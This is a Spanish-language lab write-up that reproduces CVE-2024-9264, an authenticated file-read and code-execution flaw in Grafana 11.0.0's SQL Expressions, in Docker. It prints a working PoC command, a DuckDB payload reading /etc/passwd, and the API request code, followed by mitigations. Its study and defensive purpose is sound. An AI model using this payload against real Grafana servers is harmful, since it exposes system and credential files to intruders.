
Documento de referencia https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| Elemento | Descripción |
|---|---|
| CVE | CVE-2024-9264 |
| Objetivo | Grafana (SQL Expressions) |
| Impacto | Local File Inclusion(LFI), Remote Code Execution(RCE) |
| Severidad | Critical (CVSS 9.9) |
| Condiciones del ataque | Usuario autenticado (privilegios de Admin) |
| Método de ataque | Ejecución de DuckDB SQL abusando de la funcionalidad SQL Expressions |
Grafana es una herramienta de monitoreo de código abierto que visualiza en forma de gráficos o paneles de fácil lectura diversos datos de servidores, aplicaciones, bases de datos, etc.
CVE-2024-9264 es una vulnerabilidad que se origina en la funcionalidad SQL Expressions de Grafana.
Debido a que Grafana no valida adecuadamente el DuckDB SQL que utiliza internamente, un atacante puede ejecutar DuckDB SQL arbitrario a través de SQL Expressions.
Esto permite:
En esta práctica, se reprodujo la vulnerabilidad ejecutando Grafana 11.0.0 en un entorno Docker y leyendo el archivo /etc/passwd mediante el PoC.
| Elemento | Descripción |
|---|---|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
Verificación de la ejecución de Grafana
http://localhost:3000

La información de la cuenta predeterminada de Grafana es la siguiente:
ID : admin
PW : admin
Para que se produzca la vulnerabilidad, deben cumplirse las siguientes condiciones:
En esta práctica se utilizó la cuenta de administrador predeterminada (admin/admin).
Ejecución del PoC
Para leer archivos locales se ejecutó el siguiente comando:
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
El PoC genera la siguiente SQL Expression:
SELECT * FROM read_csv_auto('/etc/passwd')
Esta se envía a la API /api/ds/query de Grafana.
Grafana ejecutó el SQL tal cual y devolvió el contenido de /etc/passwd en la respuesta.

Además del archivo /etc/passwd, también es posible leer otros archivos.

Con esto se confirmó que la inclusión de archivos locales (LFI) se realizó con éxito.
El PoC está escrito en Python y realiza el siguiente proceso:
/api/ds/query)El SQL generado al leer archivos es el siguiente:
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
La solicitud a la API se realiza de la siguiente manera:
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
Esto también se puede verificar con el comando curl.

La medida más efectiva es actualizar a la última versión en la que se haya corregido la vulnerabilidad.
Desactivar la funcionalidad SQL Expressions si no es necesaria, o limitar su alcance aplicando el principio de privilegios mínimos.
Se reprodujo la vulnerabilidad CVE-2024-9264 tras desplegar Grafana 11.0.0 en un entorno Docker.
Utilizando un PoC escrito en Python, se logró explotar la funcionalidad SQL Expressions y leer el archivo /etc/passwd. Con ello se confirmó que, cuando la validación de entradas de SQL Expressions es insuficiente, pueden exponerse archivos sensibles e, incluso, según el entorno, derivar en ejecución remota de código.
Estas vulnerabilidades pueden prevenirse mediante medidas de seguridad como la actualización a la última versión, la restricción de la funcionalidad SQL Expressions y la protección de las cuentas de administrador.